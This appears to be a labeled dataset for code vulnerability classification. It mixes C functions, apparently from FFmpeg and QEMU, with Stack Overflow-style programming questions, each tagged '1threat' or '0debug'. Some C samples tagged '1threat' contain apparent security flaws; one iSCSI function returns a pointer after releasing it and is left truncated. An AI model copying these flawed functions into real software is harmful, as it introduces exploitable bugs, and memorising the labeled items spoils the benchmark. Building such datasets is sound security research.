av_metadata_copy(meta[0], *meta[1], AV_METADATA_DONT_OVERWRITE);
}
if (metadata_global_autocopy) {
for (i = 0; i < nb_output_files; i++)
av_metadata_copy(&output_files[i]->metadata, input_files[0]->metadata,
AV_METADATA_DONT_OVERWRITE);
}
for (i = 0; i < nb_chapter_maps; i++) {
int infile = chapter_maps[i].in_file;
int outfile = chapter_maps[i].out_file;
if (infile < 0 || outfile < 0)
continue;
if (infile >= nb_input_files) {
snprintf(error, sizeof(error), "Invalid input file index %d in chapter mapping.\n", infile);
ret = AVERROR(EINVAL);
goto dump_format;
}
if (outfile >= nb_output_files) {
snprintf(error, sizeof(error), "Invalid output file index %d in chapter mapping.\n",outfile);
ret = AVERROR(EINVAL);
goto dump_format;
}
copy_chapters(infile, outfile);
}
if (!nb_chapter_maps)
for (i = 0; i < nb_input_files; i++) {
if (!input_files[i]->nb_chapters)
continue;
for (j = 0; j < nb_output_files; j++)
if ((ret = copy_chapters(i, j)) < 0)
goto dump_format;
break;
}
for(i=0;i<nb_output_files;i++) {
os = output_files[i];
if (av_write_header(os) < 0) {
snprintf(error, sizeof(error), "Could not write header for output file #%d (incorrect codec parameters ?)", i);
ret = AVERROR(EINVAL);
goto dump_format;
}
if (strcmp(output_files[i]->oformat->name, "rtp")) {
want_sdp = 0;
}
}
dump_format:
for(i=0;i<nb_output_files;i++) {
av_dump_format(output_files[i], i, output_files[i]->filename, 1);
}
if (verbose >= 0) {
fprintf(stderr, "Stream mapping:\n");
for(i=0;i<nb_ostreams;i++) {
ost = ost_table[i];
fprintf(stderr, " Stream #%d.%d -> #%d.%d",
ist_table[ost->source_index]->file_index,
ist_table[ost->source_index]->index,
ost->file_index,
ost->index);
if (ost->sync_ist != ist_table[ost->source_index])
fprintf(stderr, " [sync #%d.%d]",
ost->sync_ist->file_index,
ost->sync_ist->index);
fprintf(stderr, "\n");
}
}
if (ret) {
fprintf(stderr, "%s\n", error);
goto fail;
}
if (want_sdp) {
print_sdp(output_files, nb_output_files);
}
if (!using_stdin) {
if(verbose >= 0)
fprintf(stderr, "Press [q] to stop encoding\n");
avio_set_interrupt_cb(decode_interrupt_cb);
}
term_init();
timer_start = av_gettime();
for(; received_sigterm == 0;) {
int file_index, ist_index;
AVPacket pkt;
double ipts_min;
double opts_min;
redo:
ipts_min= 1e100;
opts_min= 1e100;
if (!using_stdin) {
if (q_pressed)
break;
key = read_key();
if (key == 'q')
break;
}
file_index = -1;
for(i=0;i<nb_ostreams;i++) {
double ipts, opts;
ost = ost_table[i];
os = output_files[ost->file_index];
ist = ist_table[ost->source_index];
if(ist->is_past_recording_time || no_packet[ist->file_index])
continue;
opts = ost->st->pts.val * av_q2d(ost->st->time_base);
ipts = (double)ist->pts;
if (!file_table[ist->file_index].eof_reached){
if(ipts < ipts_min) {
ipts_min = ipts;
if(input_sync ) file_index = ist->file_index;
}
if(opts < opts_min) {
opts_min = opts;
if(!input_sync) file_index = ist->file_index;
}
}
if(ost->frame_number >= max_frames[ost->st->codec->codec_type]){
file_index= -1;
break;
}
}
if (file_index < 0) {
if(no_packet_count){
no_packet_count=0;
memset(no_packet, 0, sizeof(no_packet));
usleep(10000);
continue;
}
break;
}
if (limit_filesize != 0 && limit_filesize <= avio_tell(output_files[0]->pb))
break;
is = input_files[file_index];
ret= av_read_frame(is, &pkt);
if(ret == AVERROR(EAGAIN)){
no_packet[file_index]=1;
no_packet_count++;
continue;
}
if (ret < 0) {
file_table[file_index].eof_reached = 1;
if (opt_shortest)
break;
else
continue;
}
no_packet_count=0;
memset(no_packet, 0, sizeof(no_packet));
if (do_pkt_dump) {
av_pkt_dump_log2(NULL, AV_LOG_DEBUG, &pkt, do_hex_dump,
is->streams[pkt.stream_index]);
}
if (pkt.stream_index >= file_table[file_index].nb_streams)
goto discard_packet;
ist_index = file_table[file_index].ist_index + pkt.stream_index;
ist = ist_table[ist_index];
if (ist->discard)
goto discard_packet;
if (pkt.dts != AV_NOPTS_VALUE)
pkt.dts += av_rescale_q(input_files_ts_offset[ist->file_index], AV_TIME_BASE_Q, ist->st->time_base);
if (pkt.pts != AV_NOPTS_VALUE)
pkt.pts += av_rescale_q(input_files_ts_offset[ist->file_index], AV_TIME_BASE_Q, ist->st->time_base);
if (pkt.stream_index < nb_input_files_ts_scale[file_index]
&& input_files_ts_scale[file_index][pkt.stream_index]){
if(pkt.pts != AV_NOPTS_VALUE)
pkt.pts *= input_files_ts_scale[file_index][pkt.stream_index];
if(pkt.dts != AV_NOPTS_VALUE)
pkt.dts *= input_files_ts_scale[file_index][pkt.stream_index];
}
if (pkt.dts != AV_NOPTS_VALUE && ist->next_pts != AV_NOPTS_VALUE
&& (is->iformat->flags & AVFMT_TS_DISCONT)) {
int64_t pkt_dts= av_rescale_q(pkt.dts, ist->st->time_base, AV_TIME_BASE_Q);
int64_t delta= pkt_dts - ist->next_pts;
if((FFABS(delta) > 1LL*dts_delta_threshold*AV_TIME_BASE || pkt_dts+1<ist->pts)&& !copy_ts){
input_files_ts_offset[ist->file_index]-= delta;
if (verbose > 2)
fprintf(stderr, "timestamp discontinuity %"PRId64", new offset= %"PRId64"\n", delta, input_files_ts_offset[ist->file_index]);
pkt.dts-= av_rescale_q(delta, AV_TIME_BASE_Q, ist->st->time_base);
if(pkt.pts != AV_NOPTS_VALUE)
pkt.pts-= av_rescale_q(delta, AV_TIME_BASE_Q, ist->st->time_base);
}
}
if (recording_time != INT64_MAX &&
av_compare_ts(pkt.pts, ist->st->time_base, recording_time + start_time, (AVRational){1, 1000000}) >= 0) {
ist->is_past_recording_time = 1;
goto discard_packet;
}
if (output_packet(ist, ist_index, ost_table, nb_ostreams, &pkt) < 0) {
if (verbose >= 0)
fprintf(stderr, "Error while decoding stream #%d.%d\n",
ist->file_index, ist->index);
if (exit_on_error)
ffmpeg_exit(1);
av_free_packet(&pkt);
goto redo;
}
discard_packet:
av_free_packet(&pkt);
print_report(output_files, ost_table, nb_ostreams, 0);
}
for(i=0;i<nb_istreams;i++) {
ist = ist_table[i];
if (ist->decoding_needed) {
output_packet(ist, i, ost_table, nb_ostreams, NULL);
}
}
term_exit();
for(i=0;i<nb_output_files;i++) {
os = output_files[i];
av_write_trailer(os);
}
print_report(output_files, ost_table, nb_ostreams, 1);
for(i=0;i<nb_ostreams;i++) {
ost = ost_table[i];
if (ost->encoding_needed) {
av_freep(&ost->st->codec->stats_in);
avcodec_close(ost->st->codec);
}
#if CONFIG_AVFILTER
avfilter_graph_free(&ost->graph);
#endif
}
for(i=0;i<nb_istreams;i++) {
ist = ist_table[i];
if (ist->decoding_needed) {
avcodec_close(ist->st->codec);
}
}
ret = 0;
fail:
av_freep(&bit_buffer);
av_free(file_table);
if (ist_table) {
for(i=0;i<nb_istreams;i++) {
ist = ist_table[i];
av_free(ist);
}
av_free(ist_table);
}
if (ost_table) {
for(i=0;i<nb_ostreams;i++) {
ost = ost_table[i];
if (ost) {
if (ost->st->stream_copy)
av_freep(&ost->st->codec->extradata);
if (ost->logfile) {
fclose(ost->logfile);
ost->logfile = NULL;
}
av_fifo_free(ost->fifo);
av_freep(&ost->st->codec->subtitle_header);
av_free(ost->pict_tmp.data[0]);
av_free(ost->forced_kf_pts);
if (ost->video_resample)
sws_freeContext(ost->img_resample_ctx);
if (ost->resample)
audio_resample_close(ost->resample);
if (ost->reformat_ctx)
av_audio_convert_free(ost->reformat_ctx);
av_free(ost);
}
}
av_free(ost_table);
}
return ret;
}
| 1threat |
HOw to open full size image when click on cardview and recycler view : I am trying to open full size image when i click on cardview. I have managed to open new activity but dont know how to show image in it
**NewsletterActivity.java**
public class NewsletterActivity extends AppCompatActivity {
List<NewsletterAdapter> NewsletterAdapter1;
RecyclerView recyclerView;
RecyclerView.LayoutManager recyclerViewlayoutManager;
RecyclerView.Adapter recyclerViewadapter;
String GET_JSON_DATA_HTTP_URL =
"http://academypk.info/eleganceschool/jsonfiles/getnewsletter.php";
String JSON_IMAGE_TITLE_NAME = "quarter";
String JSON_YEAR = "year";
String JSON_IMAGE_URL = "path";
JsonArrayRequest jsonArrayRequest ;
RequestQueue requestQueue ;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_newsletter);
NewsletterAdapter1 = new ArrayList<>();
recyclerView = (RecyclerView) findViewById(R.id.recyclerview1);
recyclerView.setHasFixedSize(true);
recyclerViewlayoutManager = new LinearLayoutManager(this);
recyclerView.setLayoutManager(recyclerViewlayoutManager);
JSON_DATA_WEB_CALL();
}
public void JSON_DATA_WEB_CALL(){
jsonArrayRequest = new JsonArrayRequest(GET_JSON_DATA_HTTP_URL,
new Response.Listener<JSONArray>() {
@Override
public void onResponse(JSONArray response) {
JSON_PARSE_DATA_AFTER_WEBCALL(response);
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
}
});
requestQueue = Volley.newRequestQueue(this);
requestQueue.add(jsonArrayRequest);
}
public void JSON_PARSE_DATA_AFTER_WEBCALL(JSONArray array){
for(int i = 0; i<array.length(); i++) {
NewsletterAdapter NewsletterAdapter2 = new NewsletterAdapter();
JSONObject json = null;
try {
json = array.getJSONObject(i);
NewsletterAdapter2.setImageTitleName(json.getString(JSON_IMAGE_TITLE_NAME));
NewsletterAdapter2.setYear(json.getString(JSON_YEAR));
NewsletterAdapter2.setImageServerUrl(json.getString(JSON_IMAGE_URL));
} catch (JSONException e) {
e.printStackTrace();
}
NewsletterAdapter1.add(NewsletterAdapter2);
}
recyclerViewadapter = new
NewsletterRecyclerViewAdapter(NewsletterAdapter1, this);
recyclerView.setAdapter(recyclerViewadapter);
}
}
**NewsletterAdaptor.java**
public class NewsletterAdapter {
public String ImageServerUrl;
public String ImageTitleName;
public String year;
public String getImageServerUrl() {
return ImageServerUrl;
}
public void setImageServerUrl(String imageServerUrl) {
this.ImageServerUrl = imageServerUrl;
}
public String getImageTitleName() {
return ImageTitleName;
}
public void setImageTitleName(String ImageTitleName) {
this.ImageTitleName = ImageTitleName;
}
public String getYear() {
return year;
}
public void setYear(String year) {
this.year = year;
}
}
**NewsletterRecyclerViewAdaptor.java**
public class NewsletterRecyclerViewAdapter extends
RecyclerView.Adapter<NewsletterRecyclerViewAdapter.ViewHolder> {
Context context;
List<NewsletterAdapter> getNewsletterAdapter;
ImageLoader imageLoader1;
public NewsletterRecyclerViewAdapter(List<NewsletterAdapter>
getNewsletterAdapter, Context context){
super();
this.getNewsletterAdapter = getNewsletterAdapter;
this.context = context;
}
@Override
public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.newsletter_recyclerview_items, parent, false);
ViewHolder viewHolder = new ViewHolder(v);
return viewHolder;
}
@Override
public void onBindViewHolder(ViewHolder Viewholder, int position) {
NewsletterAdapter getNewsletterAdapter1 = getNewsletterAdapter.get(position);
imageLoader1 = ServerImageParseAdapter.getInstance(context).getImageLoader();
imageLoader1.get(getNewsletterAdapter1.getImageServerUrl(),
ImageLoader.getImageListener(
Viewholder.networkImageView,//Server Image
R.mipmap.ic_launcher,//Before loading server image the default showing image.
android.R.drawable.ic_dialog_alert //Error image if requested image dose not found on server.
)
);
Viewholder.networkImageView.setImageUrl(getNewsletterAdapter1.getImageServerUrl(), imageLoader1);
Viewholder.ImageTitleNameView.setText(getNewsletterAdapter1.getImageTitleName());
Viewholder.YearView.setText(getNewsletterAdapter1.getYear());
}
@Override
public int getItemCount() {
return getNewsletterAdapter.size();
}
class ViewHolder extends RecyclerView.ViewHolder{
public TextView ImageTitleNameView;
public TextView YearView;
public NetworkImageView networkImageView ;
public ViewHolder(View itemView) {
super(itemView);
ImageTitleNameView = (TextView) itemView.findViewById(R.id.textView_item) ;
YearView = (TextView) itemView.findViewById(R.id.textView_item1) ;
networkImageView = (NetworkImageView) itemView.findViewById(R.id.VollyNetworkImageView1) ;
itemView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(v.getContext(), SecondPage.class);
v.getContext().startActivity(intent);
Toast.makeText(v.getContext(), "Image not found", Toast.LENGTH_SHORT).show();
}
});
}
}
}
**ServerImageParseAdaptor.java**
public class ServerImageParseAdapter {
public static ServerImageParseAdapter SIAdapter;
public static Context context1;
public RequestQueue requestQueue1;
public ImageLoader Imageloader1;
public Cache cache1 ;
public Network networkOBJ ;
LruCache<String, Bitmap> LRUCACHE = new LruCache<String, Bitmap>(30);
private ServerImageParseAdapter(Context context) {
this.context1 = context;
this.requestQueue1 = RQ();
Imageloader1 = new ImageLoader(requestQueue1, new ImageLoader.ImageCache() {
@Override
public Bitmap getBitmap(String URL) {
return LRUCACHE.get(URL);
}
@Override
public void putBitmap(String url, Bitmap bitmap) {
LRUCACHE.put(url, bitmap);
}
});
}
public ImageLoader getImageLoader() {
return Imageloader1;
}
public static ServerImageParseAdapter getInstance(Context SynchronizedContext) {
if (SIAdapter == null) {
SIAdapter = new ServerImageParseAdapter(SynchronizedContext);
}
return SIAdapter;
}
public RequestQueue RQ() {
if (requestQueue1 == null) {
cache1 = new DiskBasedCache(context1.getCacheDir());
networkOBJ = new BasicNetwork(new HurlStack());
requestQueue1 = new RequestQueue(cache1, networkOBJ);
requestQueue1.start();
}
return requestQueue1;
}
}
**SecondPage.java**
public class SecondPage extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.second_page);
}
}
**Activity_Newsletter.xml**
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context="info.techabyte.parentsapp.newsletter.NewsletterActivity">
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/newsletterheading"
android:background="@color/colorAccent"
android:textSize="20sp"
android:textStyle="bold"
android:textColor="@color/colorHeadings"
android:gravity="center_horizontal" />
<android.support.v7.widget.RecyclerView
android:id="@+id/recyclerview1"
android:layout_width="fill_parent"
android:layout_height="fill_parent" />
</RelativeLayout>
Newsletter_recyclerview_items.xml
<?xml version="1.0" encoding="utf-8"?>
<android.support.v7.widget.CardView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:card_view="http://schemas.android.com/apk/res-auto"
android:id="@+id/cardview1"
android:layout_width="match_parent"
android:layout_height="wrap_content"
card_view:cardElevation="3dp"
card_view:contentPadding="3dp"
card_view:cardCornerRadius="3dp"
card_view:cardMaxElevation="3dp"
>
<RelativeLayout
android:layout_width="fill_parent"
android:layout_height="wrap_content">
<com.android.volley.toolbox.NetworkImageView
android:id="@+id/VollyNetworkImageView1"
android:layout_width="150dp"
android:layout_height="100dp"
android:src="@mipmap/ic_launcher"/>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="@string/quarter"
android:id="@+id/textView_item"
android:layout_centerVertical="false"
android:layout_toRightOf="@+id/VollyNetworkImageView1"
android:layout_toEndOf="@+id/VollyNetworkImageView1"
android:layout_marginLeft="20dp"/>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="@string/year"
android:id="@+id/textView_item1"
android:layout_centerVertical="false"
android:layout_toRightOf="@+id/VollyNetworkImageView1"
android:layout_toEndOf="@+id/VollyNetworkImageView1"
android:layout_below="@+id/textView_item"
android:layout_marginLeft="20dp"/>
</RelativeLayout>
</android.support.v7.widget.CardView>
Secondpage.xml
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="match_parent"
android:background="#ffffff"
android:layout_height="match_parent">
<com.android.volley.toolbox.NetworkImageView
android:id="@+id/VollyNetworkImageView1"
android:layout_width="150dp"
android:layout_height="100dp"
android:src="@mipmap/ic_launcher"/>
</LinearLayout> | 0debug |
Oracle : How to write a SQL query to show serial numbers for each set of same values ? : For example if I have a table like
EmpID , Empname , Country
Output should be like
EmpId EmpName Country Serial No.
1 ABC India 1
2 BCD India 2
3 CMO India 3
4 DIS China 1
5 FGH China 2
6 FHI Singapore 1
7 XYZ Singapore 2
8 KLM Singapore 3
9 NOP Singapore 4
10 QRS Singapore 5
Here Group by Value is Country.
| 0debug |
Sql server one column data as row and other one as column : This is the Actual table:
a a 20
a b 5
b a 5
b b 25
Expected Output:
list a b
a 20 5
b 5 25
| 0debug |
string of format 2018-11-26T15:12:03.000-0800 to java.time.localdatetime of format "M/dd/yy HH:mm:ss a z" conversion throwing exception : i wrote an util function to convert a string time value of format 2018-11-26T15:12:03.000-0800 to localdatetime of format "M/dd/yy HH:mm:ss a z" and then save in to db. the save part is not part of the util function.
string of format 2018-11-26T15:12:03.000-0800 to java.time.localdatetime of format "M/dd/yy HH:mm:ss a z" conversion throwing exception
public static LocalDateTime convertStringToTime(String time){
String pattern = "M/dd/yy HH:mm z";
DateTimeFormatter formatter = DateTimeFormatter.ofPattern(pattern);
ZonedDateTime zonedDateTime = ZonedDateTime.parse(time,formatter);
return zonedDateTime.toLocalDateTime();
}
which gives me the below exception
java.time.format.DateTimeParseException: Text '2018-11-26T12:45:23.000-0800' could not be parsed at index 4
at java.time.format.DateTimeFormatter.parseResolved0(DateTimeFormatter.java:1947) | 0debug |
static void monitor_find_completion(const char *cmdline)
{
const char *cmdname;
char *args[MAX_ARGS];
int nb_args, i, len;
const char *ptype, *str;
const mon_cmd_t *cmd;
const KeyDef *key;
parse_cmdline(cmdline, &nb_args, args);
#ifdef DEBUG_COMPLETION
for(i = 0; i < nb_args; i++) {
monitor_printf(cur_mon, "arg%d = '%s'\n", i, (char *)args[i]);
}
#endif
len = strlen(cmdline);
if (len > 0 && qemu_isspace(cmdline[len - 1])) {
if (nb_args >= MAX_ARGS) {
goto cleanup;
}
args[nb_args++] = g_strdup("");
}
if (nb_args <= 1) {
if (nb_args == 0)
cmdname = "";
else
cmdname = args[0];
readline_set_completion_index(cur_mon->rs, strlen(cmdname));
for(cmd = mon_cmds; cmd->name != NULL; cmd++) {
cmd_completion(cmdname, cmd->name);
}
} else {
for (cmd = mon_cmds; cmd->name != NULL; cmd++) {
if (compare_cmd(args[0], cmd->name)) {
break;
}
}
if (!cmd->name) {
goto cleanup;
}
ptype = next_arg_type(cmd->args_type);
for(i = 0; i < nb_args - 2; i++) {
if (*ptype != '\0') {
ptype = next_arg_type(ptype);
while (*ptype == '?')
ptype = next_arg_type(ptype);
}
}
str = args[nb_args - 1];
if (*ptype == '-' && ptype[1] != '\0') {
ptype = next_arg_type(ptype);
}
switch(*ptype) {
case 'F':
readline_set_completion_index(cur_mon->rs, strlen(str));
file_completion(str);
break;
case 'B':
readline_set_completion_index(cur_mon->rs, strlen(str));
bdrv_iterate(block_completion_it, (void *)str);
break;
case 's':
if (!strcmp(cmd->name, "info")) {
readline_set_completion_index(cur_mon->rs, strlen(str));
for(cmd = info_cmds; cmd->name != NULL; cmd++) {
cmd_completion(str, cmd->name);
}
} else if (!strcmp(cmd->name, "sendkey")) {
char *sep = strrchr(str, '-');
if (sep)
str = sep + 1;
readline_set_completion_index(cur_mon->rs, strlen(str));
for(key = key_defs; key->name != NULL; key++) {
cmd_completion(str, key->name);
}
} else if (!strcmp(cmd->name, "help|?")) {
readline_set_completion_index(cur_mon->rs, strlen(str));
for (cmd = mon_cmds; cmd->name != NULL; cmd++) {
cmd_completion(str, cmd->name);
}
}
break;
default:
break;
}
}
cleanup:
for (i = 0; i < nb_args; i++) {
g_free(args[i]);
}
}
| 1threat |
static int dv_encode_video_segment(AVCodecContext *avctx, DVwork_chunk *work_chunk)
{
DVVideoContext *s = avctx->priv_data;
int mb_index, i, j;
int mb_x, mb_y, c_offset, linesize;
uint8_t* y_ptr;
uint8_t* data;
uint8_t* dif;
uint8_t scratch[64];
EncBlockInfo enc_blks[5*DV_MAX_BPM];
PutBitContext pbs[5*DV_MAX_BPM];
PutBitContext* pb;
EncBlockInfo* enc_blk;
int vs_bit_size = 0;
int qnos[5] = {15, 15, 15, 15, 15};
int* qnosp = &qnos[0];
dif = &s->buf[work_chunk->buf_offset*80];
enc_blk = &enc_blks[0];
for (mb_index = 0; mb_index < 5; mb_index++) {
dv_calculate_mb_xy(s, work_chunk, mb_index, &mb_x, &mb_y);
y_ptr = s->picture.data[0] + ((mb_y * s->picture.linesize[0] + mb_x) << 3);
c_offset = (((mb_y >> (s->sys->pix_fmt == PIX_FMT_YUV420P)) * s->picture.linesize[1] +
(mb_x >> ((s->sys->pix_fmt == PIX_FMT_YUV411P) ? 2 : 1))) << 3);
for (j = 0; j < 6; j++) {
if (s->sys->pix_fmt == PIX_FMT_YUV422P) {
if (j == 0 || j == 2) {
data = y_ptr + ((j >> 1) * 8);
linesize = s->picture.linesize[0];
} else if (j > 3) {
data = s->picture.data[6 - j] + c_offset;
linesize = s->picture.linesize[6 - j];
} else {
data = NULL;
linesize = 0;
}
} else {
if (j < 4) {
if (s->sys->pix_fmt == PIX_FMT_YUV411P && mb_x < (704 / 8)) {
data = y_ptr + (j * 8);
} else {
data = y_ptr + ((j & 1) * 8) + ((j >> 1) * 8 * s->picture.linesize[0]);
}
linesize = s->picture.linesize[0];
} else {
data = s->picture.data [6 - j] + c_offset;
linesize = s->picture.linesize[6 - j];
if (s->sys->pix_fmt == PIX_FMT_YUV411P && mb_x >= (704 / 8)) {
uint8_t* d;
uint8_t* b = scratch;
for (i = 0; i < 8; i++) {
d = data + 8 * linesize;
b[0] = data[0]; b[1] = data[1]; b[2] = data[2]; b[3] = data[3];
b[4] = d[0]; b[5] = d[1]; b[6] = d[2]; b[7] = d[3];
data += linesize;
b += 8;
}
data = scratch;
linesize = 8;
}
}
}
vs_bit_size += dv_init_enc_block(enc_blk, data, linesize, s, j>>2);
++enc_blk;
}
}
if (vs_total_ac_bits < vs_bit_size)
dv_guess_qnos(&enc_blks[0], qnosp);
for (j=0; j<5*s->sys->bpm;) {
int start_mb = j;
dif[3] = *qnosp++;
dif += 4;
for (i=0; i<s->sys->bpm; i++, j++) {
int sz = s->sys->block_sizes[i]>>3;
init_put_bits(&pbs[j], dif, sz);
put_bits(&pbs[j], 9, (uint16_t)(((enc_blks[j].mb[0] >> 3) - 1024 + 2) >> 2));
put_bits(&pbs[j], 1, enc_blks[j].dct_mode);
put_bits(&pbs[j], 2, enc_blks[j].cno);
dv_encode_ac(&enc_blks[j], &pbs[j], &pbs[j+1]);
dif += sz;
}
pb = &pbs[start_mb];
for (i=0; i<s->sys->bpm; i++) {
if (enc_blks[start_mb+i].partial_bit_count)
pb = dv_encode_ac(&enc_blks[start_mb+i], pb, &pbs[start_mb+s->sys->bpm]);
}
}
pb = &pbs[0];
for (j=0; j<5*s->sys->bpm; j++) {
if (enc_blks[j].partial_bit_count)
pb = dv_encode_ac(&enc_blks[j], pb, &pbs[s->sys->bpm*5]);
if (enc_blks[j].partial_bit_count)
av_log(NULL, AV_LOG_ERROR, "ac bitstream overflow\n");
}
for (j=0; j<5*s->sys->bpm; j++)
flush_put_bits(&pbs[j]);
return 0;
}
| 1threat |
iscsi_aio_writev(BlockDriverState *bs, int64_t sector_num,
QEMUIOVector *qiov, int nb_sectors,
BlockDriverCompletionFunc *cb,
void *opaque)
{
IscsiLun *iscsilun = bs->opaque;
IscsiAIOCB *acb;
acb = qemu_aio_get(&iscsi_aiocb_info, bs, cb, opaque);
trace_iscsi_aio_writev(iscsilun->iscsi, sector_num, nb_sectors, opaque, acb);
acb->iscsilun = iscsilun;
acb->qiov = qiov;
acb->nb_sectors = nb_sectors;
acb->sector_num = sector_num;
acb->retries = ISCSI_CMD_RETRIES;
if (iscsi_aio_writev_acb(acb) != 0) {
qemu_aio_release(acb);
iscsi_set_events(iscsilun);
return &acb->common; | 1threat |
Cannot use v-for on stateful component root element because it renders multiple elements? : <p>app.js</p>
<pre><code>var Users = {
template: `
<tr v-for="list in UsersData">
<th>{{ list.idx }}</th>
<td>{{ list.id }}</td>
</tr>
`,
data: function () {
return {
UsersData //get data from query
}
}
}
var mainview = new Vue({
el: "#mainview",
components: {
'users': Users
},
method: {}
})
</code></pre>
<p>layout.blade.php</p>
<pre><code><body>
<div class="container">
<aside>...</aside>
<main id="mainview">
@section('content')
@show
</mainview>
</div>
</body>
</code></pre>
<p>index.blade.php</p>
<pre><code>@extends('layout')
@section('content')
<table>
<thead>
<tr>
<th>IDX</th>
<th>ID</th>
</tr>
</thead>
<tbody>
<users></users>
</tbody>
</table>
@endsection
</code></pre>
<p>ERROR LOG from chrome console</p>
<p>[Vue warn]: Cannot use v-for on stateful component root element because it renders multiple elements:</p>
<pre><code><tr v-for="list in UsersData">
<th>{{ list.idx }}</th>
<td>{{ list.id }}</td>
</tr>
</code></pre>
<p>vue.js:525 [Vue warn]: Multiple root nodes returned from render function. Render function should return a single root node.
(found in component )</p>
<p>How should I fix code?</p>
| 0debug |
Duplicate words in PHP : <p>I have probably information about whether it is available in PHP to detect a duplicate and a book about not removing it and adding it to -1, -2, -3</p>
<p>Example:</p>
<pre><code>$string = 'H4,H4,H3,WY21W,W5W,W5W,WY21W,W21/5W,W21/5W,W21W,W16W,W5W';
</code></pre>
<p>Result:</p>
<pre><code>$output = 'H4,H4-1,H3,WY21W,W5W,W5W-1,WY21W-1,W21/5W,W21/5W-1,W21W,W16W,W5W-2'
</code></pre>
| 0debug |
static void chroma(WaveformContext *s, AVFrame *in, AVFrame *out,
int component, int intensity, int offset, int column)
{
const int plane = s->desc->comp[component].plane;
const int mirror = s->mirror;
const int c0_linesize = in->linesize[(plane + 1) % s->ncomp];
const int c1_linesize = in->linesize[(plane + 2) % s->ncomp];
const int dst_linesize = out->linesize[plane];
const int max = 255 - intensity;
const int src_h = in->height;
const int src_w = in->width;
int x, y;
if (column) {
const int dst_signed_linesize = dst_linesize * (mirror == 1 ? -1 : 1);
for (x = 0; x < src_w; x++) {
const uint8_t *c0_data = in->data[(plane + 1) % s->ncomp];
const uint8_t *c1_data = in->data[(plane + 2) % s->ncomp];
uint8_t *dst_data = out->data[plane] + offset * dst_linesize;
uint8_t * const dst_bottom_line = dst_data + dst_linesize * (s->size - 1);
uint8_t * const dst_line = (mirror ? dst_bottom_line : dst_data);
uint8_t *dst = dst_line;
for (y = 0; y < src_h; y++) {
const int sum = FFABS(c0_data[x] - 128) + FFABS(c1_data[x] - 128);
uint8_t *target;
int p;
for (p = 256 - sum; p < 256 + sum; p++) {
target = dst + x + dst_signed_linesize * p;
update(target, max, 1);
}
c0_data += c0_linesize;
c1_data += c1_linesize;
dst_data += dst_linesize;
}
}
} else {
const uint8_t *c0_data = in->data[(plane + 1) % s->ncomp];
const uint8_t *c1_data = in->data[(plane + 2) % s->ncomp];
uint8_t *dst_data = out->data[plane] + offset;
if (mirror)
dst_data += s->size - 1;
for (y = 0; y < src_h; y++) {
for (x = 0; x < src_w; x++) {
const int sum = FFABS(c0_data[x] - 128) + FFABS(c1_data[x] - 128);
uint8_t *target;
int p;
for (p = 256 - sum; p < 256 + sum; p++) {
if (mirror)
target = dst_data - p;
else
target = dst_data + p;
update(target, max, 1);
}
}
c0_data += c0_linesize;
c1_data += c1_linesize;
dst_data += dst_linesize;
}
}
envelope(s, out, plane, (plane + 0) % s->ncomp);
}
| 1threat |
I want to update column entire record of BOOKDATE_TO from my below query USING ORACLE PLSQL using loop or procedure : Here is the code I want book date_to to be updated I want a proper plsql code using procedure or loop that updated entire records of column book date_to
SELECT
r.resource_id,
r.type,
r.resort_id,
r.parent_id,
r.code,
r.name,
r.path,
r.cashflowmanager_id,
c.bookdate_from,
c.bookdate_to,
c.usage_date_from,
c.usage_date_to
FROM
resourcebasei18n r
JOIN cashflowrule c ON ( r.cashflowmanager_id = c.cashflowmanager_id )
WHERE
name = '4-Persoons Ranchtent'
AND ( c.usage_date_from BETWEEN '01-APR-20' AND '01-MAY-20'
OR c.usage_date_to BETWEEN '01-APR-20' AND '01-MAY-20' ); | 0debug |
flatten nested object using lodash : <p>flatten, flattenDeep or flattenDepth of lodash only accept array. How to flatten nested object?</p>
<pre><code>var data = {
"dates": {
"expiry_date": "30 sep 2018",
"available": "30 sep 2017",
"min_contract_period": [{
"id": 1,
"name": "1 month",
"value": false
}, {
"id": 2,
"name": "2 months",
"value": true
}, {
"id": 3,
"name": "3 months",
"value": false
}]
},
"price": {
"curreny": "RM",
"min": 1500,
"max": 2000
}
}
</code></pre>
<p>I want nested property to be the first level, like expiry_date should be level 1, not within dates, and I think dates should be gone, it's not needed anymore. I can do it manually, use map() but I'm looking to use lodash to ease the task.</p>
| 0debug |
replace text with regex php, I got this error : <pre><code><html>
<body>
<form name='form' method='post' action="">
Dork: <input type="text" name="dork" id="dork" >
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
<?php
$ptn = "/(?:[a-z]{4,5}://[a-z.0-9]*\/)?([a-z.\?_=]*)([0-9]*)/"; // Regex
$str = $_POST['dork']; //Your input, perhaps $_POST['textbox'] or whatever
$rpltxt = "$1"; // Replacement string
echo preg_replace($ptn, $rpltxt, $str);
?>
</code></pre>
<p>I got this error</p>
<pre><code>Warning: preg_replace(): Unknown modifier '/'
</code></pre>
<p>How to fix it like this
<a href="http://prntscr.com/ex29j2" rel="nofollow noreferrer">http://prntscr.com/ex29j2</a></p>
| 0debug |
static uint64_t pxa2xx_pm_read(void *opaque, hwaddr addr,
unsigned size)
{
PXA2xxState *s = (PXA2xxState *) opaque;
switch (addr) {
case PMCR ... PCMD31:
if (addr & 3)
goto fail;
return s->pm_regs[addr >> 2];
default:
fail:
printf("%s: Bad register " REG_FMT "\n", __FUNCTION__, addr);
break;
}
return 0;
}
| 1threat |
